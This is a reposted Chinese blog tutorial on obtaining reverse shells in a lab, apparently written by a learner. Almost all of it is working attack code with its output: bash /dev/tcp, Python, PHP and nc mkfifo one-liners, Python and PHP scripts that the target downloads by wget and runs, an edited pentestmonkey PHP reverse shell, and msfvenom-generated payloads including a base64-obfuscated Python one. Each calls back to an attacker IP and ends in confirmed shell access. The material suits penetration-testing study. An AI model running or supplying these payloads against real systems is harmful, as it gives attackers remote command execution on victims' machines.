文章转载来源：https://blog.csdn.net/qq_38684504/article/details/90047213#1.%20bash%E7%9B%B4%E6%8E%A5%E5%8F%8D%E5%BC%B9
最开始的时候连shell具体是啥都不太清楚，记得有本书上封面画着个坐着的小企鹅，写着Linux shell 才知道shell是Linux独有的编程语言。
经常听大佬们讲什么什么反弹shell，今天系统学习学起，昨天为此还特地学了学shell语言，感觉和反弹shell没多大关联......
目录
1. bash直接反弹
2. python一句话反弹shell
3. python脚本反弹shell
4. php一句话反弹shell
5. php脚本反弹shell
6. 使用nc命令获取靶机的反弹shell；
7. 使用Kali自带的脚本文件获取反弹shell
8. 使用msfvenom 获取一句话反弹shell
1. bash直接反弹
1.1> 在监听机上开启监听
nc -nvlp 8080
1.2> 在目标主机上写入bash反弹一句话
bash -i >& /dev/tcp/192.168.37.131/8080 0>&1 //注意，这个38.131就是攻击机，hacker的ip
代码讲解
bash -i：产生一个bash的交互环境；>&：将联合符号前面的内容与后面的内容相结合然后一起重定向给后者；
/dev/tcp/192.168.37.131/8080：与目标主机192.168.37.131/8080端口建立一个TCP连接；
0>&1：将标准输入与标准输出相结合，重定向到前面标准输出内容；
1.3> 查看监听机上是否监听到shell；
root@root:~# nc -nvlp 8080
listening on [any] 8080 ...
connect to [192.168.37.131] from (UNKNOWN) [192.168.37.143] 46567
[tom@redhat home]$ whoami //可以看到，已经连接上了TOM的主机
whoami
tom
[tom@redhat home]$ pwd
pwd
/home
[tom@redhat home]$
2. python一句话反弹shell
2.1> 直接在Kali上监听1234端口，在靶机上执行如下命令：
在kali上执行监听
root@root:/var/www/html# nc -nvlp 1234
listening on [any] 1234 ...
在被攻击端，也就是靶机上执行
[tom@redhat tmp]$ python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.37.131",1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'
2.2> 在Kali上查看监听到的1234端口,获取反弹shell；
root@root:/var/www/html# nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.37.131] from (UNKNOWN) [192.168.37.143] 35065
sh-4.1$ whoami //可以看到，监听成功
whoami
tom
sh-4.1$
3. python脚本反弹shell
这个和上面那个python直接反弹shell没啥区别，就是让靶机从攻击机上面下载文件并执行
3.1> 在Kali的web访问目录下准备shell.py；并执行python -m SimpleHTTPServer 80，搭建简易Web服务（注：web服务在/var/www/html目录下开启，当然也可以直接开启阿帕奇服务 /etc/init.d/apache2 start）；
root@root:~# cd /var/www/html/
root@root:/var/www/html# vim shell.py
root@root:/var/www/html# cat shell.py #shell.py的内容
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.37.131",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
root@root:/var/www/html# /etc/init.d/apache2 start #开启Apache服务
[ ok ] Starting apache2 (via systemctl): apache2.service.
3.2> 将python shell脚本下载到目标靶机系统；(一般下载到/tmp目录下)
[tom@redhat tmp]$ wget http://192.168.37.131/shell.py
--2019-05-20 13:54:58-- http://192.168.37.131/shell.py
正在连接 192.168.37.131:80... 已连接。
已发出 HTTP 请求，正在等待回应... 200 OK
长度：218 [text/x-python]
正在保存至: “shell.py.1” 100%[======================================>] 218 --.-K/s in 0s 2019-05-20 13:54:58 (13.6 MB/s) - 已保存 “shell.py.1” [218/218])
3.3> 下载成功后，在Kali上开启监听端口1234；并在靶机上运行python脚本 ；
在Kali上开启监听端口1234：
root@root:/var/www/html# nc -nvlp 1234
listening on [any] 1234 ...
在靶机上执行下载的python脚本文件：
[tom@redhat tmp]$ python shell.py
3.4>查看Kali上监听的端口1234，获取靶机的反弹shell；
root@root:/var/www/html# nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.37.131] from (UNKNOWN) [192.168.37.143] 35053
[tom@redhat tmp]$ whoami
whoami
tom
[tom@redhat tmp]$ ifconfig
ifconfig
eth1 Link encap:Ethernet HWaddr 00:0C:29:EF:E0:1D
inet addr:192.168.37.143 Bcast:192.168.37.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:feef:e01d/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:2605 errors:0 dropped:0 overruns:0 frame:0
TX packets:286 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:186570 (182.1 KiB) TX bytes:24850 (24.2 KiB)
4. php一句话反弹shell
4.1> 直接在Kali上监听1234端口，在靶机上执行如下命令：
root@root:/var/www/html# nc -nvlp 1234 //攻击机
listening on [any] 1234 ...
[tom@redhat tmp]$ php -r '$sock=fsockopen("192.168.37.131",1234); exec("/bin/sh -i <&3 >&3 2>&3");' //靶机
4.2> 在Kali上查看监听到的1234端口，获取反弹shell；
root@root:/var/www/html# nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.37.131] from (UNKNOWN) [192.168.37.143] 35064
sh-4.1$ whoami
whoami
tom
sh-4.1$
4.3> 将shell转化为交互的tty；
python -c 'import pty;pty.spawn("/bin/bash")'
sh-4.1$ python -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")' //不大明白这是啥意思
[tom@redhat tmp]$ whoami
whoami
tom
[tom@redhat tmp]$
5. php脚本反弹shell
5.1> 在KALI中添加shell.php；并开启Apache服务；
<?php
$sock=fsockopen("192.168.37.131",1234);
exec("/bin/sh -i <&3 >&3 2>&3");
?>
/etc/init.d/apache2 start
root@root:~# cd /var/www/html/
root@root:/var/www/html# vim shell.php
root@root:/var/www/html# cat shell.php #php脚本
<?php $sock=fsockopen("192.168.37.131",1234);exec("/bin/sh -i <&3 >&3 2>&3");?>
root@root:/var/www/html# /etc/init.d/apache2 start #开启Apache服务
[ ok ] Starting apache2 (via systemctl): apache2.service.
root@root:/var/www/html#
5.2> 在靶机上下载该脚本；
[tom@redhat tmp]$ wget http://192.168.37.131/shell.php
--2019-05-20 14:21:56-- http://192.168.37.131/shell.php
正在连接 192.168.37.131:80... 已连接。
已发出 HTTP 请求，正在等待回应... 200 OK
长度：80 [text/plain]
正在保存至: “shell.php” 100%[======================================>] 80 --.-K/s in 0s 2019-05-20 14:21:56 (4.53 MB/s) - 已保存 “shell.php” [80/80])
5.3> 下载成功后，在Kali上开启监听端口1234；并在靶机上运行python脚本 ；
在Kali上开启监听端口1234：
root@root:/var/www/html# nc -nvlp 1234
listening on [any] 1234 ...
在靶机上执行下载的php脚本文件：
[tom@redhat tmp]$ php shell.php
5.4>查看Kali上监听的端口1234，获取靶机的反弹shell；
root@root:/var/www/html# nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.37.131] from (UNKNOWN) [192.168.37.143] 35063
sh-4.1$ whoami
whoami
tom
sh-4.1$ ifconfig
ifconfig
eth1 Link encap:Ethernet HWaddr 00:0C:29:EF:E0:1D
inet addr:192.168.37.143 Bcast:192.168.37.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:feef:e01d/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:2748 errors:0 dropped:0 overruns:0 frame:0
TX packets:369 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:204505 (199.7 KiB) TX bytes:32844 (32.0 KiB)
6. 使用nc命令获取靶机的反弹shell；
6.1> 在靶机上输入如下命令；
[tom@redhat tmp]$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.37.131 1234 >/tmp/f;
//这里有个疑惑，不知道靶机没装netcat也能用nc命令？ 问了大佬，这是不可以的，靶机一定装了Netcat才能用nc命令
问题：大佬们，使用nc获取靶机的反弹shell，靶机是不是也得安装netcat？
解释： 不一定 你强调的是用nc接收shell 而靶机发送shell有多种方式 linux可以用bash windows可以用powershell
6.2> 在Kali上监听1234端口；
root@root:/var/www/html# nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.37.131] from (UNKNOWN) [192.168.37.143] 35067
sh-4.1$ whoami
whoami
tom
sh-4.1$
7. 使用Kali自带的脚本文件获取反弹shell
7.1> 查看Kali上的php-reverse-shell.php，另存为并修改监听的IP地址；
root@root:~# cd /usr/share/webshells/
root@root:/usr/share/webshells# ls
asp aspx cfm jsp perl php
root@root:/usr/share/webshells# cd php
root@root:/usr/share/webshells/php# ls
findsock.c php-findsock-shell.php qsd-php-backdoor.php
php-backdoor.php php-reverse-shell.php simple-backdoor.php
root@root:/usr/share/webshells/php# cat php-reverse-shell.php
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
...... root@root:/usr/share/webshells/php# cp php-reverse-shell.php /var/www/html/
root@root:/usr/share/webshells/php# cd /var/www/html/
root@root:/var/www/html# ls
1.html a.js index.html shell.elf
1.php decode.py index.nginx-debian.html shell.php
2.html dirty.c php-reverse-shell.php shell.py
37292.c dirtycow-master shell.c shell.txt
root@root:/var/www/html# vim php-reverse-shell.php
root@root:/var/www/html# cat php-reverse-shell.php #修改监听的IP地址
......
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck. set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.37.131'; // CHANGE THIS #修改IP地址
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
......
root@root:/var/www/html# /etc/init.d/apache2 start
[ ok ] Starting apache2 (via systemctl): apache2.service.
7.2> 将文件上传到靶机上；并监听1234端口，执行文件，获取反弹shell；
8. 使用msfvenom 获取一句话反弹shell
当我们不记得前面说的所有反弹shell的反弹语句时，只要我们有Metasploit，就可以生成我们所需要的各类命令行一句话，具体使用方法如下：
8.1 查询 payload 具体路径
我们直接可以使用 msfvenom -l 结合关键字过滤（如cmd/unix/reverse），找出我们需要的各类反弹一句话payload的路径信息。找windows的也同理！！！
root@root:~# msfvenom -l payloads |grep "cmd/unix/reverse"
cmd/unix/reverse Creates an interactive shell through two inbound connections
cmd/unix/reverse_awk Creates an interactive shell via GNU AWK
cmd/unix/reverse_bash Creates an interactive shell via bash's builtin /dev/tcp. This will not work on most Debian-based Linux distributions (including Ubuntu) because they compile bash without the /dev/tcp feature.
cmd/unix/reverse_bash_telnet_ssl Creates an interactive shell via mkfifo and telnet. This method works on Debian and other systems compiled without /dev/tcp support. This module uses the '-z' option included on some systems to encrypt using SSL.
cmd/unix/reverse_lua Creates an interactive shell via Lua
cmd/unix/reverse_ncat_ssl Creates an interactive shell via ncat, utilizing ssl mode
cmd/unix/reverse_netcat Creates an interactive shell via netcat
cmd/unix/reverse_netcat_gaping Creates an interactive shell via netcat
cmd/unix/reverse_nodejs Continually listen for a connection and spawn a command shell via nodejs
cmd/unix/reverse_openssl Creates an interactive shell through two inbound connections
cmd/unix/reverse_perl Creates an interactive shell via perl
cmd/unix/reverse_perl_ssl Creates an interactive shell via perl, uses SSL
cmd/unix/reverse_php_ssl Creates an interactive shell via php, uses SSL
cmd/unix/reverse_python Connect back and create a command shell via Python
cmd/unix/reverse_python_ssl Creates an interactive shell via python, uses SSL, encodes with base64 by design.
cmd/unix/reverse_r Connect back and create a command shell via R
cmd/unix/reverse_ruby Connect back and create a command shell via Ruby
cmd/unix/reverse_ruby_ssl Connect back and create a command shell via Ruby, uses SSL
cmd/unix/reverse_socat_udp Creates an interactive shell via socat
cmd/unix/reverse_ssl_double_telnet Creates an interactive shell through two inbound connections, encrypts using SSL via "-z" option
cmd/unix/reverse_stub Creates an interactive shell through an inbound connection (stub only, no payload)
cmd/unix/reverse_zsh Connect back and create a command shell via Zsh. Note: Although Zsh is often available, please be aware it isn't usually installed by default.
8.2> 生成我们所需要的一句话反弹shell；
msfvenom -p cmd/unix/reverse_bash lhost=192.168.37.131 lport=1234 R #bash反弹一句话
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.37.131 lport=1234 R #nc反弹一句话
msfvenom -p cmd/unix/reverse_python lhost=192.168.37.131 lport=1234 R #python反弹一句话
......
root@root:~# msfvenom -p cmd/unix/reverse_bash lhost=192.168.37.131 lport=1234 R
No platform was selected, choosing Msf::Module::Platform::Unix from the payload
No Arch selected, selecting Arch: cmd from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 68 bytes
0<&178-;exec 178<>/dev/tcp/192.168.37.131/1234;sh <&178 >&178 2>&178
root@root:~# msfvenom -p cmd/unix/reverse_netcat lhost=192.168.37.131 lport=1234 R
No platform was selected, choosing Msf::Module::Platform::Unix from the payload
No Arch selected, selecting Arch: cmd from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 93 bytes
mkfifo /tmp/fqzh; nc 192.168.37.131 1234 0</tmp/fqzh | /bin/sh >/tmp/fqzh 2>&1; rm /tmp/fqzh
root@root:~# msfvenom -p cmd/unix/reverse_python lhost=192.168.37.131 lport=1234 R
No platform was selected, choosing Msf::Module::Platform::Unix from the payload
No Arch selected, selecting Arch: cmd from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 573 bytes
python -c "exec('aW1wb3J0IHNvY2tldCAgICAgICAsICAgICAgc3VicHJvY2VzcyAgICAgICAsICAgICAgb3MgICAgICAgICA7IGhvc3Q9IjE5Mi4xNjguMzcuMTMxIiAgICAgICAgIDsgcG9ydD0xMjM0ICAgICAgICAgOyBzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQgICAgICAgLCAgICAgIHNvY2tldC5TT0NLX1NUUkVBTSkgICAgICAgICA7IHMuY29ubmVjdCgoaG9zdCAgICAgICAsICAgICAgcG9ydCkpICAgICAgICAgOyBvcy5kdXAyKHMuZmlsZW5vKCkgICAgICAgLCAgICAgIDApICAgICAgICAgOyBvcy5kdXAyKHMuZmlsZW5vKCkgICAgICAgLCAgICAgIDEpICAgICAgICAgOyBvcy5kdXAyKHMuZmlsZW5vKCkgICAgICAgLCAgICAgIDIpICAgICAgICAgOyBwPXN1YnByb2Nlc3MuY2FsbCgiL2Jpbi9iYXNoIik='.decode('base64'))"
8.3> 在Kali上监听端口，在靶机上执行生成的一句话shell；即可获取目标的反弹shell；
